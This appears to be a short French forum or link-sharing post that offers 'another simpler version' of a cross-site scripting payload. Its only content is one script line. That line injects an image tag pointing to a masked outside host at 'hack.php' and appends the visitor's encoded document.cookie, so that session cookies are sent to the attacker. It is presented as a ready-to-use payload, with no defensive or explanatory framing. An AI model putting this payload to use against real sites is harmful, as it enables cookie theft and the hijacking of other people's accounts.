Une autre version plus simple :

<script>document.body.insertAdjacentHTML('beforeEnd', "<img src='https://xxxxxx.xxxxxxx/hack.php?cookie="+encodeURIComponent(document.cookie)+"'>");</script>;
(Permalink)